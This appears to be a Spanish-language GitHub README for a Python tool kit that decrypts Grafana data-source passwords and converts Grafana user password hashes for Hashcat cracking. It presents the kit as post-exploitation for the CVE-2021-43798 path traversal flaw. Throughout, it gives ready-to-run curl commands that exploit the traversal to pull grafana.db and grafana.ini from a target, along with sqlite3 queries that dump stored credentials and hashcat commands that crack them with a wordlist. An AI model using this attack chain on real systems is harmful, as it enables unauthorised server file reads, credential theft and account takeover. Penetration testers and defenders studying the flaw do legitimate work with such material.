
Kit de herramientas en Python para descifrar AES-256 y crackear contraseñas PBKDF2 de bases de datos de Grafana, generalmente usado junto con (CVE-2021-43798)
Kit de herramientas en Python para descifrar y crackear contraseñas de Grafana en múltiples formatos.
Creado por: strikoder
Maneja dos tipos de almacenamiento de contraseñas de Grafana:
Perfecto para post-explotación después de CVE-2021-43798 (path traversal).
Una vulnerabilidad de path traversal en las versiones de Grafana 8.0.0-beta1 hasta 8.3.0 que permite a atacantes no autenticados leer archivos arbitrarios del servidor, incluyendo:
/etc/grafana/grafana.ini)/var/lib/grafana/grafana.db)/etc/passwd)Ejemplo de exploit:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is --output grafana.db
Este kit completa la cadena de ataque descifrando/crackeando las contraseñas que extraes de la base de datos.
Descifra contraseñas cifradas con AES-256 de la tabla data_source.
Basado en: jas502n/Grafana-CVE-2021-43798 con mejoras clave:
Convierte hashes PBKDF2_HMAC_SHA256 de Grafana de la tabla user al formato compatible con Hashcat para el cracking de contraseñas.
Crédito: iamaldi/grafana2hashcat
git clone https://github.com/strikoder/Grafana-Password-Decryptor.git
cd Grafana-Password-Decryptor
pip install cryptography #for Decyrption
chmod +x AESDecrypt.py grafana2hashcat.py
python3 AESDecrypt.py -hash R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
python3 AESDecrypt.py -f hashes.txt
Extrae la clave secreta de la configuración de Grafana:
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' --path-as-is | grep secret_key
python3 AESDecrypt.py -hash [HASH] -k YOUR_SECRET_KEY
python3 grafana2hashcat.py grafana_hashes.txt
Formato de entrada (grafana_hashes.txt):
hash1,salt1
hash2,salt2
hash3,salt3
Salida (lista para Hashcat):
sha256:10000:base64_salt:base64_hash
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
hashcat -m 10900 hashcat_hashes.txt wordlist.txt
# 1. Extrae la clave secreta de grafana.ini (podría estar vacía en algunos casos; en ese caso usa la clave por defecto del programa python)
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../etc/grafana/grafana.ini' \
--path-as-is | grep secret_key
# 2. Descarga la base de datos
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 3. Extrae las contraseñas cifradas con AES de la tabla data_source
sqlite3 grafana.db "SELECT name, password FROM data_source;"
# 4. Guarda las contraseñas en un archivo (una por línea)
# Ejemplo: R3pMVVh1UHLoUkTJOl+Z/sFymLqolUOVtxCtQL/y+Q==
# 5. Descifra con la clave secreta extraída
python3 AESDecrypt.py -f passwords.txt -k [SECRET_KEY]
# 0. Descarga la base de datos
curl 'http://target:3000/public/plugins/zipkin/../../../../../../../../var/lib/grafana/grafana.db' \
--path-as-is -o grafana.db
# 1. Extrae los hashes de contraseña PBKDF2 de la tabla user
sqlite3 grafana.db "SELECT login, password, salt FROM user;"
# 2. Formatea los hashes para grafana2hashcat (formato hash,salt)
# Ejemplo de formato en grafana_hashes.txt:
# 3ad31dc57a7452c442f259cfff7aa61f2a6cea88ee634724ae146e221ae4e01c56c8bcbb3552310acd2fd746a396d2f99bf8,pepper
# 3. Convierte al formato de Hashcat
python3 grafana2hashcat.py grafana_hashes.txt -o hashcat_hashes.txt
# 4. Crackea con Hashcat (modo 10900 = PBKDF2-HMAC-SHA256)
hashcat -m 10900 hashcat_hashes.txt rockyou.txt
⭐ ¿Te resultó útil? ¡Dale una estrella!
Creado por strikoder
| Tipo de Contraseña | Tabla de la BD | Formato | Herramienta | Modo Hashcat |
|---|
| Cifrada con AES-256 | data_source | Cadena Base64 | AESDecrypt.py | N/D (descifrado directo) |
| PBKDF2_HMAC_SHA256 | user | Hash hex + salt | grafana2hashcat.py | -m 10900 |